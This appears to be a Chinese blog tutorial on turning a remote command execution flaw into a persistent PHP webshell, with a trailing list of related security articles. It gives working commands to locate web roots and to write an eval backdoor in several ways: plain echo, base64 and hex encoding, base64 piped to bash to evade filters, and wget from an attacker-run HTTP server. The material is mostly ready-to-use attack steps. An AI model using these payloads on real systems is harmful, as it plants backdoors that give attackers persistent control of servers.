命令执行写webshell总结

简介: 前言当我们找到一个rce漏洞却无法反弹shell时,在web路径写webshell用连接工具进行管理会方便的多,本文总结从命令执行到webshell的流程化操作。

寻找web路径

写webshell当然要写在web路径,第一步要做的就是快速寻找web路径

1.文件查找法

一般web路径一定会有index.html\php\jsp\asp,login.xxx文件。可以根据已知页面文件名全局搜索








linux:find / -name index.phpfind / -name index.*windows:for /r d:/ %i in (index.html) do @echo %ifor /r d:/ %i in (index.*) do @echo %i

2.源码查找法

也可以选择打开当前已知web页面的f12查看源码,寻找一段特征足够明显的源码进行查找








linux:find / -name "*.*" | xargs grep "PHP installed properly"find /var/www/ -name "*.php" | xargs grep "doServerTest()"
windows:findstr /s/i/n /d:D:\sec_tools\ /c:"html" *.htmlfindstr /s/i/n /d:C:\windows\ /c:"success" *.*

3.history等

通过linux历史命令查找web相关的服务启动命令




history | grep nginxhistory | grep tomcathistory | grep http

写入webshell

确认寻找到的路径有写入权限之后,就可以开始写webshell了

1.echo直接写入


echo '<?php eval($_POST[1]); ?>' > 1.php

直接写入webshell一般不会成功,因为webshell中使用的某些关键符号可能被转码或屏蔽

2.base64写入

echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >2.php

使用base64是比较通用的方法,完美去除了webshell本身的特殊字符

3.绕过重定向符

echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=" | base64 -d | bash
echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=" | base64 -d | sh

重定向符>不可用时,我们可以将1或2中的整体命令base64编码,然后解码后通过bash或sh执行

其他字符绕过方式,如空格对应${IFS}等,可参考命令注入的绕过方式 http://uuzdaisuki.com/2020/07/15/%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E6%96%B9%E5%BC%8F%E6%80%BB%E7%BB%93/

4.远端下载webshell






远端服务器放置webshell,开启httppython -m http.server
目标机器执行wget http://xx.xx.xxx.xx:8000/xxx.php

可出网且有wget的情况下可采用此方式

5.hex写入

hex写入与base64写入相似,在 https://www.107000.com/T-Hex/

将webshell编码成hex,使用xxd命令还原

或在使用前将webshell使用xxd生成hex数据


echo '<?php eval($_POST[1]); ?>' |xxd -ps

然后命令注入执行

echo 3C3F706870206576616C28245F504F53545B315D293B203F3E|xxd -r -ps > 5.php



目录
相关文章
|
开发框架 Java .NET
Webshell不能执行命令常见原因
Webshell不能执行命令常见原因
353 1
|
安全 API 网络安全
绕过IIS命令执行防护提权
绕过IIS命令执行防护提权
139 0
|
安全 Windows
记一次“上传”命令执行的绕过案例
记一次“上传”命令执行的绕过案例
99 0
|
开发框架 Java .NET
webshell不能执行命令常见问题总结
webshell不能执行命令常见问题总结
201 0
|
移动开发 监控 安全
|
存储 编解码 安全
|
安全 网络协议 Java
命令执行漏洞详细讲解
应用有时需要调用一些执行系统命令的函数,如PHP中的`system`、`exec`、`shell_exec`、`passthru`、`popen`、`proc_popen`等,当用户能控制这些函数的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
|
监控 前端开发 fastjson
webshell内存马的命令执行分析
内存马,也就是无文件格式webshell,检查难度系数很大,运用分布式数据库(apache、mvc这种)去运行恶意程序。适合情景为一些web应用为jar包运行,无网站文件目录、想写文件格式找不着网站文件目录相对路径等。内存马的注入一般搭配反序列化安全漏洞开展运用,如spring反序列化安全漏洞、fastjson反序列化、weblogic反序列化这种;也是有先提交着地文件格式,随后浏览注入内存马的,这类实际上 没有什么必要性,暂时性忽视。
484 0
webshell内存马的命令执行分析
|
安全 前端开发 中间件
命令执行漏洞
原理 攻击者利用执行系统命令的函数 , 将恶意的系统命令拼接到正常的命令中,从而造成命令执行攻击 比如使用Web服务器的权限 执行系统命令,读写文件